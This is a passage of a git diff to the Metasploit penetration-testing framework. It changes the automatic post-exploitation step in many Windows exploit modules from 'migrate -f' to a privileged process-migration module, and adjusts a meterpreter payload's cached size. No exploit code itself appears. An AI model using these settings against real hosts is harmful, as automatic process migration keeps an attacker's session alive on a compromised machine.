'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb
index 5b81c4d16d..1b07abfa48 100644
--- a/modules/exploits/windows/browser/realplayer_qcp.rb
+++ b/modules/exploits/windows/browser/realplayer_qcp.rb
@@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "process",
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb
index 2397e4d9f4..4a1686f131 100644
--- a/modules/exploits/windows/browser/safari_xslt_output.rb
+++ b/modules/exploits/windows/browser/safari_xslt_output.rb
@@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
index 057ff83b3c..53ac3660ed 100644
--- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
+++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb
index 73ca64f4bd..571f5785ce 100644
--- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb
+++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb
@@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb
index f950ccbaac..a0c78377bb 100644
--- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb
+++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb
@@ -74,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Privileged' => false,
'DisclosureDate' => "May 30 2013",
diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb
index 4540017403..84ee5ad5ef 100644
--- a/modules/exploits/windows/browser/teechart_pro.rb
+++ b/modules/exploits/windows/browser/teechart_pro.rb
@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
index 4544396f52..1d2957285a 100644
--- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
+++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
@@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb
index 3f80edb8c0..1ae1aa5fda 100644
--- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb
+++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb
@@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb
index aafaccaa1b..71c60f312d 100644
--- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb
+++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => false,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb
index e414e6fa6f..833f151a25 100644
--- a/modules/exploits/windows/browser/vlc_amv.rb
+++ b/modules/exploits/windows/browser/vlc_amv.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "process",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb
index 2e33ace44f..bc823fdf71 100644
--- a/modules/exploits/windows/browser/vlc_mms_bof.rb
+++ b/modules/exploits/windows/browser/vlc_mms_bof.rb
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "process",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb
index 6e337c99a7..d624fa9a03 100644
--- a/modules/exploits/windows/browser/webex_ucf_newobject.rb
+++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb
@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
index ea7cda3260..73e9252478 100644
--- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
+++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'BrowserRequirements' =>
{
diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb
index e73dab9d78..e847a7952b 100644
--- a/modules/exploits/windows/browser/wmi_admintools.rb
+++ b/modules/exploits/windows/browser/wmi_admintools.rb
@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb
index 07d4cd0d81..8c1ba38bf0 100644
--- a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb
+++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Arch' => ARCH_X86,
diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
index 3a30a85b77..1ddbe7e53e 100644
--- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
+++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
@@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
index b552117821..8c5e737b33 100644
--- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
+++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
index 6bc77221ec..e41db7aeae 100644
--- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
+++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb
index 5e519cd03f..d2af4a71e4 100644
--- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb
+++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb
@@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb
index d7a76340f7..1382f09a30 100644
--- a/modules/exploits/windows/fileformat/adobe_libtiff.rb
+++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb
@@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
index 4e643c9134..3452aced1e 100644
--- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
+++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
index e7c7606b63..5f09b2be60 100644
--- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
+++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
index 4ef262a804..e2a17b49a4 100644
--- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
+++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
@@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
index 24283fda76..668d94bf17 100644
--- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
+++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb
index 485b6ba9d9..611d2f21e1 100644
--- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb
+++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
{
'EXITFUNC' => "process",
'DisablePayloadHandler' => 'true',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
index 189433c05f..c5c6b9af07 100644
--- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
+++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb
index 2fb6931fe2..6d7f539b48 100644
--- a/modules/exploits/windows/http/cogent_datahub_command.rb
+++ b/modules/exploits/windows/http/cogent_datahub_command.rb
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
'WfsDelay' => 30,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Targets' =>
[
diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb
index 3ce543f576..b9bc3c016c 100644
--- a/modules/exploits/windows/http/cyclope_ess_sqli.rb
+++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb
index e219d739fc..7e7beb92f2 100644
--- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb
+++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb
index 241ec0cf1a..ed854078fd 100644
--- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb
+++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb
@@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb
index 8982d9bbbe..cb1cb33e23 100644
--- a/modules/exploits/windows/http/hp_nnm_ovas.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovas.rb
@@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
{
'WfsDelay' => 45,
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
index 37d8c6bd7d..983dab3561 100644
--- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
+++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
index 47d8108ede..f3be23758f 100644
--- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
+++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
@@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- "InitialAutoRunScript" => "migrate -f",
+ "InitialAutoRunScript" => "post/windows/manage/priv_migrate",
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb
index b67a2c6433..cd7a9bfb62 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess.rb
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
{
# best at delaying/preventing target crashing post-exploit
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb
index e67cc1e95e..b3b75c9574 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb
index 5d48e0a692..202b6351b9 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
index 373922133a..a3ac4f3342 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
index 8741273ee4..2a453e4651 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb
index f1f6199933..677ab83852 100644
--- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb
+++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => ['win'],
'Arch' => ARCH_X86,
diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb
index 99c952ef24..1def1adc90 100644
--- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb
+++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'EXITFUNC' => 'process'
},
'Payload' =>
diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb
index 42ab69a938..9c6d3dcffb 100644
--- a/modules/exploits/windows/misc/splayer_content_type.rb
+++ b/modules/exploits/windows/misc/splayer_content_type.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb
index 6975c8e264..1bd28765a2 100644
--- a/modules/exploits/windows/misc/stream_down_bof.rb
+++ b/modules/exploits/windows/misc/stream_down_bof.rb
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
index ebf8b5f23c..3dd0997aaa 100644
--- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
+++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
@@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
index 7eb98360a0..20b75e5f6b 100644
--- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
+++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb
index dc3b814a0a..95f61cef26 100644
--- a/modules/exploits/windows/scada/daq_factory_bof.rb
+++ b/modules/exploits/windows/scada/daq_factory_bof.rb
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb
index 9461c4b2e5..b956075708 100644
--- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb
+++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb
index d416fd0189..cf80ea00a2 100644
--- a/modules/exploits/windows/scada/moxa_mdmtool.rb
+++ b/modules/exploits/windows/scada/moxa_mdmtool.rb
@@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb
index 9da0341ab1..cdf1c9f123 100644
--- a/modules/exploits/windows/scada/scadapro_cmdexe.rb
+++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb
@@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb
index d7ddb592f7..7d1fce97df 100644
--- a/modules/exploits/windows/scada/winlog_runtime.rb
+++ b/modules/exploits/windows/scada/winlog_runtime.rb
@@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb
index a3fcc1aa9c..97facf0f25 100644
--- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
- CachedSize = 51794
+ CachedSize = 53182
include Msf::Payload::Single
include Msf::Payload::Python
diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb
index cd25b0ac8f..f1676e35df 100644
